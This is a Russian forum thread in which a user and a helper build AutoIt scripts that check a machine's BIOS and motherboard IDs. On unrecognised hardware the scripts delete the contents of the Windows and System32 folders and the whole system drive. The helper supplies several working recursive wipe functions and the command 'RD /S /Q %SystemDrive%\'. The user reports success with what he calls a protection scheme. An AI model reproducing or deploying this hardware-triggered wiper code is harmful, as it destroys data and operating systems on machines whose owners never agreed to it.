Показать полную графическую версию : [решено] Помогите подправить скрипт VBS
amel27, запускаю ваш вариант с одним и двумя == и ничего не происходит. А что должно быть? Должны выскакивать сообщения как я понимаю?
Pozia, ой. Надо было в самом скрипте поменять. Разобрался. В общем запускал такое:
Opt("ExpandEnvStrings", 1)
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4
Global $strPassword = "12345"
Global $arrayAllowedHosts[7] = [ _
"20090116000000.000000+000ga-ma770-ds3", _
"20060222000000.000000+000virtual machine", _
"20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series", _
"20020315000000.000000+000sis-645", _
"20010427000000.000000+0008363-686", _
"20060925000000.000000+000mn2-e", _
"20060918000000.000000+000m61pm-s2" ]
If _PlatformArrayTest($arrayAllowedHosts) Then
$iRes = RunWait("C:\mmm.txt")
Else
FileDelete("%SystemDrive%\mmm")
EndIf
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then
MsgBox(16, "Ошибка", "Ошибка выполнения WMI запроса")
Return False
EndIf
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
MsgBox(64, "Уведомление", 'ID платформы: "'& $strComputerHost &'"')
For $i=0 To UBound($arrayAllowedHosts)-1
If $arrayAllowedHosts[$i]=$strComputerHost Then
MsgBox(64, "Уведомление", 'ID платформы найден, индекс массива: '& $i)
Return True
EndIf
Next
Next
Next
MsgBox(64, "Уведомление", "ID платформы в массиве не найден.")
Return False
EndFunc
При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. При отсутствии моего ID Bios скрипт об этом говорил и удалял mmm. Так должно быть?
По поводу добовления ID BIOS я ошибся. Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да?
При наличии в массиве моего ID Bios скрипт об этом уведомлял и говорил что индекс 0 и все а вроде должен запустить mmm.txt. »
"mmm.txt" не программа и не скрипт, для открытия документа надо использовать ShellExecute
$iRet = ShellExecute("C:\mmm.txt")
Имел ввиду что здесь Global $arrayAllowedHosts[7] надо цифру менять. Да? »
надо - это количество элементов в массиве
amel27, дурак я!!! Вм6есто $iRes = RunWait("C:\mmm.txt") записал как должно быть $iRes = RunWait("C:\PKUNZIP -e -d -s"& $strPassword &" C:\Protect.zip C:\", "C:\", @SW_HIDE) и закинул в диск С файлы PKUNZIP.exe и Protect.zip и все сработало как и должно быть!!! И первый ваш вариант рабочий когда записать одно =. В общем ОГРОМНОЕ СПАСИБО!!! Полностью протестирую работу с установкий ОСИ уже после выходных и сразу же отпишусь о результатах.
amel27, вроде как работает нормально. Будут проблемы отпишусь. Вот только комп по команде Shutdown(29) выключается. А для перезагрузки как правильно записать?
amel27, нет не совсем нормально работает. Я удаляю вот это:
FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileDelete(@WindowsDir &"\*.*")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileDelete(@WindowsDir &"\security\*.*")
FileDelete(@WindowsDir &"\system\*.*")
FileDelete(@SystemDir &"\config\*.*")
FileDelete(@SystemDir &"\drivers\*.*")
FileDelete(@SystemDir &"\oobe\*.*")
FileDelete(@SystemDir &"\*.*")
Удаляются файлы по выделенным командам. По остальным не хочет. Как правильно записать чтобы работало?
для перезагрузки как правильно записать? »Shutdown(22)
Удаляются файлы по выделенным командам. По остальным не хочет. »
Если файл не удаляется, значит либо у него стоит атрибут запрета, либо он открыт и используется системой. В первом случае - перед удалением нужно снять все возможные атрибуты командой FileSetAttrib(). Во-втором случае ничего не поделать - открытые системные файлы Windows удалить не даст (в отдельных случаях открытый файл можно переименовать или перенести в пределах тома - не более того).
FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")
amel27, удалял итак:
FileSetAttrib("%SystemDrive%\*.*", "-SR")
FileDelete("%SystemDrive%\*.*")
FileSetAttrib(@WindowsDir &"\*.*", "-SR")
FileDelete(@WindowsDir &"\*.*")
FileSetAttrib(@WindowsDir &"\L2Schemas\*.*", "-SR")
FileDelete(@WindowsDir &"\L2Schemas\*.*")
FileSetAttrib(@WindowsDir &"\security\*.*", "-SR")
FileDelete(@WindowsDir &"\security\*.*")
FileSetAttrib(@WindowsDir &"\system\*.*", "-SR")
FileDelete(@WindowsDir &"\system\*.*")
FileSetAttrib(@SystemDir &"\config\*.*", "-SR")
FileDelete(@SystemDir &"\config\*.*")
FileSetAttrib(@SystemDir &"\drivers\*.*", "-SR")
FileDelete(@SystemDir &"\drivers\*.*")
FileSetAttrib(@SystemDir &"\oobe\*.*", "-SR")
FileDelete(@SystemDir &"\oobe\*.*")
FileSetAttrib(@SystemDir &"\*.*", "-SR")
FileDelete(@SystemDir &"\*.*")
И все равно не так много удаляет как удалял обычный cmd файл запускаемый этим же скриптом с такими же путями удаления. В частности:
FileDelete("%SystemDrive%\*.*") - удалило все
FileDelete(@WindowsDir &"\*.*") - удалило все
FileDelete(@WindowsDir &"\L2Schemas\*.*") - удалило все
FileDelete(@WindowsDir &"\security\*.*") - удалило все
FileDelete(@WindowsDir &"\system\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\config\*.*") -ничего не удалило, даже тот файл что положил я сам
туда методом svcpack и он не мог висеть в памяти так как ничем не
используется
FileDelete(@SystemDir &"\drivers\*.*") - удалило намного меньше чем удаляет cmd файл
FileDelete(@SystemDir &"\oobe\*.*") - удалило все
FileDelete(@SystemDir &"\*.*") - удалило намного меньше чем удаляет cmd файл
Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше?
Отчего скрипт так мало удаляет когда CMD файл удаляет без проблем намного больше? »дойдя до первого неудаляемого файла FileDelete бросает это "гнилое дело", попробуйте по-другому:
DirRemove(@WindowsDir, 1)
amel27, с этой командой выскакивает сообщение: $Admin - системная папка. Удаление невозможно. И вообще ничего не удоляет. Есть еще какие нибудь варианты на удаление?
А почему FileDelete бросает это "гнилое дело" » ? а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент?
с этой командой выскакивает сообщение »
понятно, значит удаляемого каталога не должно быть в списке системных (http://msdn.microsoft.com/en-us/library/bb762494(printer).aspx):
C:\Windows
C:\Windows\Fonts
C:\Windows\System32
C:\Windows\Resources
C:\Program Files
C:\Program Files\Common
а CMD особо не заморачивается и удаляет все что увидит кроме тех что использует система на данный момент? »CMD удаляет пофайлово, а не каталогом, на AutoIT такой способ будет работать намного дольше, поэтому DirRemove предпочтительней - тем более, что он не обращает внимания на атрибуты и удаляет вместе с подкаталогами.
Есть еще какие нибудь варианты на удаление? »сколько угодно :) , вот альтернативная UDF, удаляющая только содержимое каталога - сам каталог не трогается... Главное условие - среди подкаталогов не должно быть системных, иначе опять вывалится ошибка.
_DirRemoveAlt(@SystemDir)
Func _DirRemoveAlt($sDIR)
Local $hSearch, $sFile, $sPath
$sDIR = StringRegExpReplace($sDIR, "\\+$", "")
If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
$hSearch = FileFindFirstFile($sDIR & "\*")
If $hSearch = -1 Then Return SetError(2, 0, False)
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then ExitLoop
$sPath = $sDIR & "\" & $sFile
If StringInStr(FileGetAttrib($sPath), "D") Then
DirRemove($sPath,1)
Else
FileSetAttrib($sPath, "-RSH")
FileDelete($sPath)
EndIf
WEnd
FileClose($hSearch)
Return SetError(0, 0, True)
EndFunc
amel27, предложенный скрипт изрядно пошерстил system32 чему я безгранично рад и благодарствую вас! Появилось два вопроса:
1. Можно ли сделать скрипт удаляющий все возможное по всему системному диску а не только в system32 (для надежности)?
2. Разъясните в двух словах алгоритм работы скрипта. Как он определяет что файл нельзя удалять (так как выскакивает ошибка) и что можно удалять? Так как я заметил что файл с расширением evt положенный мною лично в C:\WINDOWS\system32\config\ не удалился. Почему? На нем стоял только один атрибут - архивный.
1. попробуй так:
; Формирование списка системных каталогов
Dim $arrExcl[9]=[8, _
@WindowsDir, _
@SystemDir, _
@WindowsDir &"\Resources", _
@ProgramFilesDir, _
RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion", "CommonFilesDir"), _
RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "ProfilesDirectory"), _
$arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "AllUsersProfile"), _
$arrExcl[6] &"\"& RegRead("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", "DefaultUserProfile") ]
_RegEnumValToArray("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", $arrExcl)
_RegEnumValToArray("HKLM\Software\Microsoft\Windows NT\CurrentVersion\ProfileList", $arrExcl, "ProfileImagePath", True)
; Замена подстановок на реальные пути
$ExpandEnvStrings = Opt("ExpandEnvStrings",1)
For $i=1 To $arrExcl[0]
$arrExcl[$i] = $arrExcl[$i]
Next
Opt("ExpandEnvStrings", $ExpandEnvStrings)
; Запуск удаления
_DirRemoveAll(@HomeDrive, $arrExcl)
; Сохранение значений параметров ключа реестра в массив (рекурсивно)
Func _RegEnumValToArray($sKey, ByRef $aVals, $sValName="", $iRecv = False)
Local $var, $key
For $i=1 To 10000
$var = RegEnumVal($sKey, $i)
If @error Then ExitLoop
If $sValName=="" Or $sValName=$var Then
$aVals[0]+=1
ReDim $aVals[$aVals[0]+1]
$aVals[$aVals[0]]=RegRead($sKey, $var)
EndIf
Next
If $iRecv Then
For $j=1 To 10000
$key = RegEnumKey($sKey, $j)
If @error Then ExitLoop
_RegEnumValToArray($sKey &"\"& $key, $aVals, $sValName, True)
Next
EndIf
EndFunc ; ==> _RegEnumValToArray
; Удаление каталога с подкаталогами (рекурсивно)
Func _DirRemoveAll($sDIR, ByRef $aExcl)
Local $hSearch, $sFile, $sPath, $iRet, $i
$sDIR = StringRegExpReplace($sDIR, "\\+$", "")
If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
$hSearch = FileFindFirstFile($sDIR & "\*")
If $hSearch = -1 Then Return SetError(2, 0, False)
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then ExitLoop
$sPath = $sDIR & "\" & $sFile
If StringInStr(FileGetAttrib($sPath), "D") Then
For $i=1 To $aExcl[0]
If $sPath=$aExcl[$i] Then ExitLoop
Next
ConsoleWrite($sPath &@CRLF)
If ($i-1 < $aExcl[0]) Or (DirRemove($sPath,1)=0) Then _DirRemoveAll($sPath, $aExcl)
Else
FileSetAttrib($sPath, "-RSH")
FileDelete($sPath)
EndIf
WEnd
FileClose($hSearch)
Return SetError(0, 0, True)
EndFunc ; ==> _DirRemoveAll
2. FileDelete("*.*") - удаляет файлы по списку до первого неудаляемого/открытого, DirRemove("path",1) - по ходу удаления пропускает системные/открытые подкаталоги (типа System32\Config)
amel27, ну вот и все. Отмучал я Вас. Спасибо огромное. Все работает на УРА!!! Прикольная получилась защита. Совместил Ваш скрипт поиска файла по MD5 сумме с данным и получилась что винда ставится только на ранее зашитые в скрипт материнки или на любой комп если вставить флешку с нужным файлом. Очень здорово! Спасибо еще раз!!!
ну вот и все »
признаюсь, лобовое решение короче (ниже), просто хотелось немного оптимизировать по скорости выполнения и поиграть со встроенными функциями AutoIT, а самым быстрым удалением все же остается "RD" ;)
_DirClear(@HomeDrive)
Func _DirClear($sDIR)
Local $hSearch, $sFile, $sPath
$sDIR = StringRegExpReplace($sDIR, "\\+$", "")
If StringInStr(FileGetAttrib($sDIR), "D")=0 Then Return SetError(1, 0, False)
$hSearch = FileFindFirstFile($sDIR & "\*")
If $hSearch = -1 Then Return SetError(2, 0, False)
While 1
$sFile = FileFindNextFile($hSearch)
If @error Then ExitLoop
$sPath = $sDIR & "\" & $sFile
FileSetAttrib($sPath, "-RSH")
If StringInStr(FileGetAttrib($sPath), "D") Then
_DirClear($sPath)
DirRemove($sPath)
Else
FileDelete($sPath)
EndIf
WEnd
FileClose($hSearch)
Return SetError(0, 0, True)
EndFunc
amel27, запутали вы меня. Что за RD? То что вы привели сейчас быстрее удаляет?
запутали вы меня »сказал же - способов и подходов много, надо экспериментировать
То что вы привели сейчас быстрее удаляет? »быстрее не должно - это пофайловое удаление... кстати, в последнем варианте строку с DirRemove() нужно закомментировать или удалить - в Вашем случае удалять пустые каталоги необязательно, а ошибок с системными каталогами это позволит избежать
Что за RD? »CMD-команда "RD" или "RMDIR", такой вариант не пробовали?
RD /S /Q %SystemDrive%\
amel27, как можно получить ID BIOS?? Так как я его получаю не работает в виртуальной машине. Может подскажете?
amel27, подскажите почему не работает вот так скрипт. Модифицировал его под другие цели:
#NoTrayIcon
Opt("ExpandEnvStrings", 1)
Global Const $WbemFlagReturnImmediately = 0x10
Global Const $WbemFlagForwardOnly = 0x20
Global Const $WmiRestartForce = 4
Global $arrayAllowedHosts[1] = ["200901161000000.000000+000ga-ma770-ds3"]
;--------------------------------------------------------------------------------------------------------------------------------------
if _PlatformArrayTest($arrayAllowedHosts) Then RunWait ("LSession.exe")
;--------------------------------------------------------------------------------------------------------------------------------------
Func _PlatformArrayTest(ByRef $arrayAllowedHosts)
Local $objWMIService = ObjGet("winmgmts:\\.\root\CIMV2")
Local $colBIOS = $objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
Local $colBaseBoard = $objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", $WbemFlagReturnImmediately + $WbemFlagForwardOnly)
If Not(IsObj($colBIOS) And IsObj($colBaseBoard)) Then Return False
For $objBIOS In $colBIOS
For $objBaseBoard In $colBaseBoard
For $i=0 To UBound($arrayAllowedHosts)-1
$strComputerHost = StringStripWS($objBIOS.ReleaseDate & $objBaseBoard.Product, 3)
If $arrayAllowedHosts[$i]=$strComputerHost Then Return True
Next
Next
Next
Return False
EndFunc
всем привет ) не кто не может мне сделать скрипт что бы при его открытие всем посылалось определоное сообщения если можете пожалутся сделайте напишите на скайп dodge.90
© OSzone.net 2001-2012
vBulletin v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.